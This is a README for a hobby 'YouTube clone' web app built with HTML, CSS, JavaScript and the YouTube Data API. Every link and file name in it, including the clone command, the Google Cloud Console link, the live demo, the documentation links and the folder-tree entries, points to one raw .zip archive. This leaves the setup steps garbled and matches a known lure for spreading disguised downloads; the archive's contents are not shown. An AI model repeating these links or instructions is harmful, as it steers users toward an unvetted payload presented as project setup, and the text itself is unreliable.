A modern YouTube clone built with HTML, CSS, and JavaScript. Features include dynamic video loading via the YouTube API, light/dark mode toggling, collapsible sidebar, search functionality, and responsive design.
A fully functional YouTube clone built using HTML, CSS, and JavaScript. This project demonstrates modern web development practices, including API integration, responsive design, and interactive user interfaces.
- Dynamic Video Loading: Fetches trending videos, channel details, and search results using the YouTube Data API.
- Light/Dark Mode: Toggle between light and dark themes with persistent preferences using
localStorage. - Collapsible Sidebar: Smoothly expand/collapse sections like Explore, Subscriptions, and Watch History.
- Search Functionality: Search for videos and display results dynamically.
- Responsive Design: Fully responsive layout that works seamlessly on desktops, tablets, and mobile devices.
- Video Player Modal: Opens selected videos in a fullscreen modal player.
- Interactive Elements: Hover effects, animations, and smooth transitions for enhanced user experience.
- HTML5: Semantic structure and layout.
- CSS3: Advanced styling with CSS Grid, Flexbox, animations, and theming.
- JavaScript: Dynamic content loading, API calls, and interactivity.
- YouTube Data API: Fetches real-time video data, channel details, and search results.
- CSS Variables: For theme switching and consistent styling.
- Clone the Repository:
git clone https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip cd YouTube-Clone
2. **Obtain a YouTube Data API Key**:
* Visit the [Google Cloud Console](https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip).
* Create a new project and enable the YouTube Data API v3.
* Generate an API key and replace `API_KEY` in the `https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip` file:
```javascript
const API_KEY = "YOUR_API_KEY_HERE";
```
3. **Run the Application**:
* Open the `https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip` file in your browser to view the application.
---
## Live Demo
[Click here to view the live demo](https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip)
---
## Folder Structure
```
YouTube-Clone/
├── https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip # Main HTML file
├── https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip # Stylesheet for the project
├── https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip # JavaScript file for interactivity
├── img/ # Images used in the project
└── https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip # Project documentation
```
---
## Future Enhancements
* **User Authentication**: Add login and personalized playlists.
* **Backend Integration**: Use PHP or https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip for server-side functionality.
* **Database Support**: Store user preferences and watch history.
* **PWA Support**: Make the app installable as a Progressive Web App (PWA).
---
## Contributing
Contributions are welcome! To contribute:
1. Fork the repository.
2. Create a new branch (`git checkout -b feature/YourFeatureName`).
3. Commit your changes (`git commit -m 'Add some feature'`).
4. Push to the branch (`git push origin feature/YourFeatureName`).
5. Open a pull request.
---
## License
This project is licensed under the [MIT License](LICENSE).
Copyright (c) 2025 B V NAHUSH
---
## Acknowledgments
* [YouTube Data API Documentation](https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip)
* [Google Cloud Console](https://github.com/BVNAHUSH/YOUTUBE-CLONE/raw/refs/heads/main/html/CLONE-YOUTUB-1.2.zip)
* Inspiration from the original YouTube platform.
```